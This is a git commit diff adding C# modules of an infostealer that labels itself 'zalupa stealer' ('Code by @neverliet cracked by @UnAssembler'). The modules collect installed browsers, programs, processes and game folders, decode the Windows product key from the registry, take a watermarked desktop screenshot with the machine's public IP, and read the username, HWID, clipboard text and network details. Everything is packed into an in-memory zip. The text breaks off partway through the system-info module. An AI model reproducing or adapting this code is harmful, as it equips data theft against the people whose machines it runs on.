initial commit
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,22 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class GameList : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string path = "C:\\Games";
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
List<string> list = Directory.GetDirectories(path).Select(Path.GetFileName).ToList();
|
||||
if (list.Any())
|
||||
{
|
||||
zip.AddTextFile("Games.txt", string.Join("\n", list));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class InstalledBrowsers : ITarget
|
||||
{
|
||||
private class Browser
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Path { get; set; }
|
||||
|
||||
public string Version { get; set; }
|
||||
}
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
List<Browser> list = (from g in GetBrowsers().GroupBy((Browser b) => b.Name, StringComparer.OrdinalIgnoreCase)
|
||||
select g.First()).ToList();
|
||||
int maxName = Math.Max("Name".Length, list.Max((Browser b) => b.Name.Length));
|
||||
int maxVersion = Math.Max("Version".Length, list.Max((Browser b) => b.Version.Length));
|
||||
int length = "In Use".Length;
|
||||
List<string> list2 = new List<string>
|
||||
{
|
||||
"Name".PadRight(maxName) + " | " + "Version".PadRight(maxVersion),
|
||||
new string('-', maxName + maxVersion + length + 6)
|
||||
};
|
||||
list2.AddRange(list.Select(delegate(Browser b)
|
||||
{
|
||||
SafeGetExeName(b.Path);
|
||||
return b.Name.PadRight(maxName) + " | " + b.Version.PadRight(maxVersion);
|
||||
}));
|
||||
if (list.Count > 0)
|
||||
{
|
||||
zip.AddTextFile("InstalledBrowsers.txt", string.Join("\n", list2));
|
||||
}
|
||||
}
|
||||
|
||||
private static IEnumerable<Browser> GetBrowsers()
|
||||
{
|
||||
string[] obj = new string[2] { "SOFTWARE\\WOW6432Node\\Clients\\StartMenuInternet", "SOFTWARE\\Clients\\StartMenuInternet" };
|
||||
List<Browser> list = new List<Browser>();
|
||||
string[] array = obj;
|
||||
foreach (string keyPath in array)
|
||||
{
|
||||
list.AddRange(GetBrowsersFromRegistry(keyPath, Registry.LocalMachine));
|
||||
list.AddRange(GetBrowsersFromRegistry(keyPath, Registry.CurrentUser));
|
||||
}
|
||||
Browser edgeLegacyVersion = GetEdgeLegacyVersion();
|
||||
if (edgeLegacyVersion != null)
|
||||
{
|
||||
list.Add(edgeLegacyVersion);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private static IEnumerable<Browser> GetBrowsersFromRegistry(string keyPath, RegistryKey root)
|
||||
{
|
||||
using RegistryKey key = root.OpenSubKey(keyPath);
|
||||
if (key == null)
|
||||
{
|
||||
yield break;
|
||||
}
|
||||
string[] subKeyNames = key.GetSubKeyNames();
|
||||
foreach (string name in subKeyNames)
|
||||
{
|
||||
using RegistryKey subkey = key.OpenSubKey(name);
|
||||
if (!(subkey?.GetValue(null) is string name2))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string text = StripQuotesFromCommand(subkey.OpenSubKey("shell\\open\\command")?.GetValue(null)?.ToString());
|
||||
string version = "unknown";
|
||||
if (!string.IsNullOrEmpty(text) && File.Exists(text))
|
||||
{
|
||||
try
|
||||
{
|
||||
version = FileVersionInfo.GetVersionInfo(text).FileVersion;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
yield return new Browser
|
||||
{
|
||||
Name = name2,
|
||||
Path = text,
|
||||
Version = version
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
private static Browser GetEdgeLegacyVersion()
|
||||
{
|
||||
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\SystemAppData\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Schemas"))
|
||||
{
|
||||
if (registryKey?.GetValue("PackageFullName") is string input)
|
||||
{
|
||||
Match match = Regex.Match(input, "\\d+(\\.\\d+)+");
|
||||
if (match.Success)
|
||||
{
|
||||
return new Browser
|
||||
{
|
||||
Name = "Microsoft Edge (Legacy)",
|
||||
Path = null,
|
||||
Version = match.Value
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static string StripQuotesFromCommand(string command)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(command))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
command = command.Trim();
|
||||
if (command.StartsWith("\""))
|
||||
{
|
||||
int num = command.IndexOf('"', 1);
|
||||
if (num > 1)
|
||||
{
|
||||
return command.Substring(1, num - 1);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
int num2 = command.IndexOf(' ');
|
||||
if (num2 <= 0)
|
||||
{
|
||||
return command;
|
||||
}
|
||||
return command.Substring(0, num2);
|
||||
}
|
||||
|
||||
private static string SafeGetExeName(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(path))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return Path.GetFileName(path)?.ToUpperInvariant();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class InstalledPrograms : ITarget
|
||||
{
|
||||
private class InstalledProgram
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Version { get; set; }
|
||||
|
||||
public string InstallLocation { get; set; }
|
||||
}
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
List<InstalledProgram> list = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" }.SelectMany((string key) => GetInstalledPrograms(key, Registry.LocalMachine, counter).Concat(GetInstalledPrograms(key, Registry.CurrentUser, counter))).ToList();
|
||||
if (list.Count != 0)
|
||||
{
|
||||
int maxName = Math.Max("Name".Length, list.Max((InstalledProgram p) => p.Name?.Length ?? 0));
|
||||
int maxVersion = Math.Max("Version".Length, list.Max((InstalledProgram p) => p.Version?.Length ?? 0));
|
||||
int maxPath = Math.Max("Path".Length, list.Max((InstalledProgram p) => p.InstallLocation?.Length ?? 0));
|
||||
List<string> list2 = new List<string>();
|
||||
list2.Add("Name".PadRight(maxName) + " | " + "Path".PadRight(maxPath) + " | " + "Version".PadRight(maxVersion));
|
||||
list2.Add(new string('-', maxName + maxPath + maxVersion + 6));
|
||||
List<string> list3 = list2;
|
||||
list3.AddRange(list.Select((InstalledProgram p) => (p.Name ?? "Unknown").PadRight(maxName) + " | " + (p.InstallLocation ?? "Unknown").PadRight(maxPath) + " | " + (p.Version ?? "Unknown").PadRight(maxVersion)));
|
||||
zip.AddTextFile("InstalledSoftware.txt", string.Join("\n", list3));
|
||||
}
|
||||
}
|
||||
|
||||
private static List<InstalledProgram> GetInstalledPrograms(string uninstallKey, RegistryKey root, Counter counter)
|
||||
{
|
||||
ConcurrentBag<InstalledProgram> installedPrograms = new ConcurrentBag<InstalledProgram>();
|
||||
using (RegistryKey registryKey = root.OpenSubKey(uninstallKey))
|
||||
{
|
||||
if (registryKey == null)
|
||||
{
|
||||
return new List<InstalledProgram>();
|
||||
}
|
||||
string[] subKeyNames = registryKey.GetSubKeyNames();
|
||||
if (subKeyNames == null || subKeyNames.Length == 0)
|
||||
{
|
||||
return new List<InstalledProgram>();
|
||||
}
|
||||
Parallel.ForEach(subKeyNames, delegate(string subkeyName)
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey2 = root.OpenSubKey(uninstallKey + "\\" + subkeyName);
|
||||
string text = registryKey2?.GetValue("DisplayName") as string;
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
InstalledProgram item = new InstalledProgram
|
||||
{
|
||||
Name = text.Trim(),
|
||||
Version = ((registryKey2.GetValue("DisplayVersion") as string) ?? "Unknown"),
|
||||
InstallLocation = ((registryKey2.GetValue("InstallLocation") as string) ?? "Unknown")
|
||||
};
|
||||
installedPrograms.Add(item);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
return installedPrograms.ToList();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class ProcessDump : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
try
|
||||
{
|
||||
List<ProcessWindows.ProcInfo> list = ProcessWindows.GetProcInfos().ToList();
|
||||
if (list.Count == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
int totalWidth = Math.Max("Name".Length, list.Max((ProcessWindows.ProcInfo p) => p.Name?.Length ?? 0));
|
||||
int totalWidth2 = Math.Max("PID".Length, list.Max((ProcessWindows.ProcInfo p) => p.Pid?.Length ?? 0));
|
||||
int totalWidth3 = Math.Max("Path".Length, list.Max((ProcessWindows.ProcInfo p) => p.Path?.Length ?? 0));
|
||||
int totalWidth4 = Math.Max("Mem".Length, list.Max((ProcessWindows.ProcInfo p) => p.Memory?.Length ?? 0));
|
||||
string text = "Name".PadRight(totalWidth) + " | " + "PID".PadRight(totalWidth2) + " | " + "Path".PadRight(totalWidth3) + " | " + "Mem".PadRight(totalWidth4);
|
||||
string value = new string('-', text.Length);
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine(text);
|
||||
stringBuilder.AppendLine(value);
|
||||
int result;
|
||||
foreach (ProcessWindows.ProcInfo item in from x in list
|
||||
orderby x.Name ?? string.Empty, (!int.TryParse(x.Pid, out result)) ? int.MaxValue : result
|
||||
select x)
|
||||
{
|
||||
stringBuilder.AppendLine((item.Name ?? "Unknown").PadRight(totalWidth) + " | " + (item.Pid ?? "Unknown").PadRight(totalWidth2) + " | " + (item.Path ?? "Unknown").PadRight(totalWidth3) + " | " + (item.Memory ?? "Unknown").PadRight(totalWidth4));
|
||||
}
|
||||
zip.AddTextFile("ProcessList.txt", stringBuilder.ToString());
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class ProductKey : ITarget
|
||||
{
|
||||
private enum DigitalProductIdVersion
|
||||
{
|
||||
UpToWindows7,
|
||||
Windows8AndUp
|
||||
}
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32);
|
||||
object obj = registryKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")?.GetValue("DigitalProductId");
|
||||
if (obj != null)
|
||||
{
|
||||
byte[] digitalProductId = (byte[])obj;
|
||||
registryKey.Close();
|
||||
bool flag = (Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2) || Environment.OSVersion.Version.Major > 6;
|
||||
string windowsProductKeyFromDigitalProductId = GetWindowsProductKeyFromDigitalProductId(digitalProductId, flag ? DigitalProductIdVersion.Windows8AndUp : DigitalProductIdVersion.UpToWindows7);
|
||||
if (!string.IsNullOrEmpty(windowsProductKeyFromDigitalProductId))
|
||||
{
|
||||
string text = (IsWindowsActivatedFast() ? "Activated ✅" : "Not Activated ❌");
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("=== Windows Product Key Info ===");
|
||||
stringBuilder.AppendLine("Status : " + text);
|
||||
stringBuilder.AppendLine("Key : " + windowsProductKeyFromDigitalProductId);
|
||||
stringBuilder.AppendLine("================================");
|
||||
zip.AddTextFile("ProductKey.txt", stringBuilder.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private string DecodeProductKeyWin8AndUp(byte[] digitalProductId)
|
||||
{
|
||||
string text = string.Empty;
|
||||
byte b = (byte)((digitalProductId[66] / 6) & 1);
|
||||
digitalProductId[66] = (byte)((digitalProductId[66] & 0xF7) | ((b & 2) * 4));
|
||||
int num = 0;
|
||||
for (int num2 = 24; num2 >= 0; num2--)
|
||||
{
|
||||
int num3 = 0;
|
||||
for (int num4 = 14; num4 >= 0; num4--)
|
||||
{
|
||||
num3 *= 256;
|
||||
num3 = digitalProductId[num4 + 52] + num3;
|
||||
digitalProductId[num4 + 52] = (byte)(num3 / 24);
|
||||
num3 %= 24;
|
||||
num = num3;
|
||||
}
|
||||
text = "BCDFGHJKMPQRTVWXY2346789"[num3] + text;
|
||||
}
|
||||
string text2 = text.Substring(1, num);
|
||||
string text3 = text.Substring(num + 1, text.Length - (num + 1));
|
||||
text = text2 + "N" + text3;
|
||||
for (int i = 5; i < text.Length; i += 6)
|
||||
{
|
||||
text = text.Insert(i, "-");
|
||||
}
|
||||
return text;
|
||||
}
|
||||
|
||||
private string DecodeProductKey(byte[] digitalProductId)
|
||||
{
|
||||
char[] array = new char[24]
|
||||
{
|
||||
'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'M', 'P',
|
||||
'Q', 'R', 'T', 'V', 'W', 'X', 'Y', '2', '3', '4',
|
||||
'6', '7', '8', '9'
|
||||
};
|
||||
char[] array2 = new char[29];
|
||||
ArrayList arrayList = new ArrayList();
|
||||
for (int i = 52; i <= 67; i++)
|
||||
{
|
||||
arrayList.Add(digitalProductId[i]);
|
||||
}
|
||||
for (int num = 28; num >= 0; num--)
|
||||
{
|
||||
if ((num + 1) % 6 == 0)
|
||||
{
|
||||
array2[num] = '-';
|
||||
}
|
||||
else
|
||||
{
|
||||
int num2 = 0;
|
||||
for (int num3 = 14; num3 >= 0; num3--)
|
||||
{
|
||||
int num4 = (num2 << 8) | (byte)arrayList[num3];
|
||||
arrayList[num3] = (byte)(num4 / 24);
|
||||
num2 = num4 % 24;
|
||||
array2[num] = array[num2];
|
||||
}
|
||||
}
|
||||
}
|
||||
return new string(array2);
|
||||
}
|
||||
|
||||
private string GetWindowsProductKeyFromDigitalProductId(byte[] digitalProductId, DigitalProductIdVersion digitalProductIdVersion)
|
||||
{
|
||||
if (digitalProductIdVersion != DigitalProductIdVersion.Windows8AndUp)
|
||||
{
|
||||
return DecodeProductKey(digitalProductId);
|
||||
}
|
||||
return DecodeProductKeyWin8AndUp(digitalProductId);
|
||||
}
|
||||
|
||||
public static bool IsWindowsActivatedFast()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform");
|
||||
if (registryKey != null)
|
||||
{
|
||||
object value = registryKey.GetValue("BackupProductKeyDefault");
|
||||
return value != null && value.ToString().Length > 0;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,177 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Drawing.Text;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class ScreenShot : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Rectangle bounds = Screen.PrimaryScreen.Bounds;
|
||||
using Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb);
|
||||
using Graphics graphics = Graphics.FromImage(bitmap);
|
||||
IntPtr hdc = graphics.GetHdc();
|
||||
IntPtr windowDC = NativeMethods.GetWindowDC(NativeMethods.GetDesktopWindow());
|
||||
NativeMethods.BitBlt(hdc, 0, 0, bounds.Width, bounds.Height, windowDC, 0, 0, 13369376);
|
||||
graphics.ReleaseHdc(hdc);
|
||||
NativeMethods.ReleaseDC(NativeMethods.GetDesktopWindow(), windowDC);
|
||||
graphics.SmoothingMode = SmoothingMode.AntiAlias;
|
||||
graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
|
||||
graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
|
||||
RectangleF rectangleF = new RectangleF(0f, 0f, bounds.Width, bounds.Height);
|
||||
StringFormat format = new StringFormat
|
||||
{
|
||||
Alignment = StringAlignment.Center,
|
||||
LineAlignment = StringAlignment.Center
|
||||
};
|
||||
float num = Math.Max(24f, (float)bounds.Width / 40f);
|
||||
using (Font font = new Font("Segoe UI Black", num, FontStyle.Bold, GraphicsUnit.Pixel))
|
||||
{
|
||||
using GraphicsPath graphicsPath = new GraphicsPath();
|
||||
graphicsPath.AddString("https://t.me/neverliet_projects", font.FontFamily, (int)font.Style, font.Size, rectangleF, format);
|
||||
int num2 = 10;
|
||||
for (int num3 = num2; num3 >= 1; num3--)
|
||||
{
|
||||
int alpha = (int)(30.0 * (1.0 - (double)num3 / (double)num2)) + 8;
|
||||
using Pen pen = new Pen(width: num / 18f * (float)num3, color: Color.FromArgb(alpha, 0, 0, 0));
|
||||
pen.LineJoin = LineJoin.Round;
|
||||
graphics.DrawPath(pen, graphicsPath);
|
||||
}
|
||||
using (LinearGradientBrush linearGradientBrush = new LinearGradientBrush(rectangleF, Color.Black, Color.FromArgb(255, 30, 30, 30), LinearGradientMode.Horizontal))
|
||||
{
|
||||
ColorBlend colorBlend = new ColorBlend();
|
||||
colorBlend.Colors = new Color[4]
|
||||
{
|
||||
Color.Black,
|
||||
Color.FromArgb(255, 20, 20, 20),
|
||||
Color.FromArgb(255, 10, 10, 10),
|
||||
Color.Black
|
||||
};
|
||||
colorBlend.Positions = new float[4] { 0f, 0.45f, 0.75f, 1f };
|
||||
linearGradientBrush.InterpolationColors = colorBlend;
|
||||
using PathGradientBrush pathGradientBrush = new PathGradientBrush(graphicsPath);
|
||||
pathGradientBrush.CenterColor = Color.FromArgb(220, 60, 60, 60);
|
||||
pathGradientBrush.SurroundColors = new Color[1] { Color.FromArgb(0, 0, 0, 0) };
|
||||
pathGradientBrush.CenterPoint = new PointF(rectangleF.Width * 0.5f, rectangleF.Height * 0.45f);
|
||||
graphics.FillPath(linearGradientBrush, graphicsPath);
|
||||
graphics.FillPath(pathGradientBrush, graphicsPath);
|
||||
}
|
||||
using (Pen pen2 = new Pen(Color.FromArgb(220, 80, 80, 80), Math.Max(2f, num / 28f)))
|
||||
{
|
||||
pen2.LineJoin = LineJoin.Round;
|
||||
graphics.DrawPath(pen2, graphicsPath);
|
||||
}
|
||||
PointF[] array = new PointF[5]
|
||||
{
|
||||
new PointF(rectangleF.Width * 0.22f, rectangleF.Height * 0.38f),
|
||||
new PointF(rectangleF.Width * 0.33f, rectangleF.Height * 0.52f),
|
||||
new PointF(rectangleF.Width * 0.68f, rectangleF.Height * 0.4f),
|
||||
new PointF(rectangleF.Width * 0.6f, rectangleF.Height * 0.6f),
|
||||
new PointF(rectangleF.Width * 0.5f, rectangleF.Height * 0.3f)
|
||||
};
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
PointF pointF = array[i];
|
||||
float num4 = Math.Max(2f, num / 28f);
|
||||
using (SolidBrush brush = new SolidBrush(Color.FromArgb(230, 255, 255, 255)))
|
||||
{
|
||||
graphics.FillEllipse(brush, pointF.X - num4 / 2f, pointF.Y - num4 / 2f, num4, num4);
|
||||
}
|
||||
using SolidBrush brush2 = new SolidBrush(Color.FromArgb(80, 0, 0, 0));
|
||||
graphics.FillEllipse(brush2, pointF.X - num4 * 2f, pointF.Y - num4 * 2f, num4 * 4f, num4 * 4f);
|
||||
}
|
||||
}
|
||||
string fileName = Process.GetCurrentProcess().MainModule.FileName;
|
||||
string[] array2 = new string[12]
|
||||
{
|
||||
"Machine: " + Environment.MachineName,
|
||||
"User: " + Environment.UserName,
|
||||
$"Time: {DateTimeOffset.Now:yyyy-MM-dd HH:mm:ss zzz}",
|
||||
$".NET: {Environment.Version}",
|
||||
"CPU: " + CpuInfo.GetName(),
|
||||
$"CPU Cores: {CpuInfo.GetLogicalCores()}",
|
||||
"OS Product: " + WindowsInfo.GetProductName(),
|
||||
"OS Build: " + WindowsInfo.GetBuildNumber(),
|
||||
"OS Arch: " + WindowsInfo.GetArchitecture(),
|
||||
"Public ip: " + IpApi.GetPublicIp(),
|
||||
"Build Name: " + Path.GetFileName(Path.GetDirectoryName(fileName)) + "\\" + Path.GetFileName(fileName),
|
||||
"Code by @neverliet cracked by @UnAssembler"
|
||||
};
|
||||
float num5 = Math.Max(12f, (float)bounds.Width / 120f);
|
||||
using (Font font2 = new Font("Segoe UI", num5, FontStyle.Regular, GraphicsUnit.Pixel))
|
||||
{
|
||||
float num6 = Math.Max(8f, num5 * 0.6f);
|
||||
float num7 = 0f;
|
||||
float num8 = 0f;
|
||||
string[] array3 = array2;
|
||||
foreach (string text in array3)
|
||||
{
|
||||
SizeF sizeF = graphics.MeasureString(text, font2);
|
||||
if (sizeF.Width > num7)
|
||||
{
|
||||
num7 = sizeF.Width;
|
||||
}
|
||||
if (sizeF.Height > num8)
|
||||
{
|
||||
num8 = sizeF.Height;
|
||||
}
|
||||
}
|
||||
float width = num7 + num6 * 2f;
|
||||
float num9 = (float)array2.Length * num8 + num6 * 2f;
|
||||
RectangleF rect = new RectangleF(12f, (float)bounds.Height - num9 - 12f, width, num9);
|
||||
using (SolidBrush brush3 = new SolidBrush(Color.FromArgb(180, 6, 6, 10)))
|
||||
{
|
||||
using Pen pen3 = new Pen(Color.FromArgb(220, 60, 60, 80), 1f);
|
||||
graphics.FillRectangle(brush3, rect);
|
||||
graphics.DrawRectangle(pen3, rect.X, rect.Y, rect.Width, rect.Height);
|
||||
}
|
||||
float num10 = rect.X + num6;
|
||||
float num11 = rect.Y + num6;
|
||||
using SolidBrush brush4 = new SolidBrush(Color.FromArgb(160, 0, 0, 0));
|
||||
using SolidBrush brush5 = new SolidBrush(Color.FromArgb(240, 245, 250, 255));
|
||||
array3 = array2;
|
||||
foreach (string s in array3)
|
||||
{
|
||||
graphics.DrawString(s, font2, brush4, new PointF(num10 + 1f, num11 + 1f));
|
||||
graphics.DrawString(s, font2, brush5, new PointF(num10, num11));
|
||||
num11 += num8;
|
||||
}
|
||||
}
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
ImageCodecInfo imageCodecInfo = null;
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
for (int j = 0; j < imageEncoders.Length; j++)
|
||||
{
|
||||
if (string.Equals(imageEncoders[j].MimeType, "image/jpeg", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
imageCodecInfo = imageEncoders[j];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (imageCodecInfo != null)
|
||||
{
|
||||
Encoder quality = Encoder.Quality;
|
||||
EncoderParameters encoderParameters = new EncoderParameters(1);
|
||||
encoderParameters.Param[0] = new EncoderParameter(quality, 90L);
|
||||
bitmap.Save(memoryStream, imageCodecInfo, encoderParameters);
|
||||
}
|
||||
else
|
||||
{
|
||||
bitmap.Save(memoryStream, ImageFormat.Jpeg);
|
||||
}
|
||||
byte[] array4 = memoryStream.ToArray();
|
||||
if (array4 != null && array4.Length != 0)
|
||||
{
|
||||
string entryPath = "screenshot.jpg";
|
||||
zip.AddFile(entryPath, array4);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
internal class SystemInfo : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
try
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("zalupa stealer");
|
||||
stringBuilder.AppendLine(" Code by @neverliet cracked by @UnAssembler");
|
||||
Task<string> task = Task.Run(() => BuildUserSection());
|
||||
Task<string> task2 = Task.Run(() => BuildNetworkSection());
|
||||
Task<string> task3 = Task.Run(() => BuildSystemSection());
|
||||
Task<string> task4 = Task.Run(() => BuildDrivesSection());
|
||||
Task<string> task5 = Task.Run(() => BuildGpuSection());
|
||||
Task<string> task6 = Task.Run(() => BuildBasicSection());
|
||||
Task.WaitAll(task, task2, task3, task4, task5, task6);
|
||||
StringBuilder stringBuilder2 = new StringBuilder();
|
||||
stringBuilder2.Append(stringBuilder);
|
||||
stringBuilder2.AppendLine(task.Result).AppendLine();
|
||||
stringBuilder2.AppendLine(task2.Result).AppendLine();
|
||||
stringBuilder2.AppendLine(task3.Result).AppendLine();
|
||||
stringBuilder2.AppendLine(task4.Result).AppendLine();
|
||||
stringBuilder2.AppendLine(task5.Result).AppendLine();
|
||||
stringBuilder2.AppendLine(task6.Result);
|
||||
zip.AddTextFile("Information.txt", stringBuilder2.ToString());
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static string BuildUserSection()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("[User Info]");
|
||||
try
|
||||
{
|
||||
stringBuilder.AppendLine("User: " + Environment.UserName);
|
||||
stringBuilder.AppendLine("Machine: " + Environment.MachineName);
|
||||
stringBuilder.AppendLine($"Now: {DateTime.Now:yyyy-MM-dd HH:mm:ss}");
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("User/System fields unavailable");
|
||||
}
|
||||
try
|
||||
{
|
||||
string text = InputLanguage.CurrentInputLanguage?.Culture?.TwoLetterISOLanguageName ?? "unknown";
|
||||
stringBuilder.AppendLine("Input ISO: " + text);
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("Input ISO: unknown");
|
||||
}
|
||||
stringBuilder.AppendLine("Hwid: " + HwidGenerator.GetHwid());
|
||||
stringBuilder.AppendLine("Clipboard: " + GetClipboardTextNoTimeout());
|
||||
return stringBuilder.ToString().TrimEnd();
|
||||
}
|
||||
|
||||
private static string BuildNetworkSection()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("[Network]");
|
||||
stringBuilder.AppendLine("External IP: " + IpApi.GetPublicIp());
|
||||
string text = "unavailable";
|
||||
string text2 = "unavailable";
|
||||
try
|
||||
{
|
||||
NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
|
||||
foreach (NetworkInterface networkInterface in allNetworkInterfaces)
|
||||
{
|
||||
if (networkInterface.OperationalStatus != OperationalStatus.Up || networkInterface.NetworkInterfaceType == NetworkInterfaceType.Loopback)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
IPInterfaceProperties iPProperties = networkInterface.GetIPProperties();
|
||||
foreach (UnicastIPAddressInformation unicastAddress in iPProperties.UnicastAddresses)
|
||||
{
|
||||
if (unicastAddress.Address.AddressFamily == AddressFamily.InterNetwork)
|
||||
{
|
||||
text = unicastAddress.Address.ToString();
|
||||
break;
|
||||
}
|
||||
}
|
||||
foreach (GatewayIPAddressInformation gatewayAddress in iPProperties.GatewayAddresses)
|
||||
{
|
||||
if (gatewayAddress.Address != null && gatewayAddress.Address.AddressFamily == AddressFamily.InterNetwork)
|
||||
{
|
||||
text2 = gatewayAddress.Address.ToString();
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (text != "unavailable" && text2 != "unavailable")
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
stringBuilder.AppendLine("Internal IP: " + text);
|
||||
stringBuilder.AppendLine("Default Gateway: " + text2);
|
||||
return stringBuilder.ToString().TrimEnd();
|
||||
}
|
||||
|
||||
private static string BuildSystemSection()
|
||||
{
|
||||
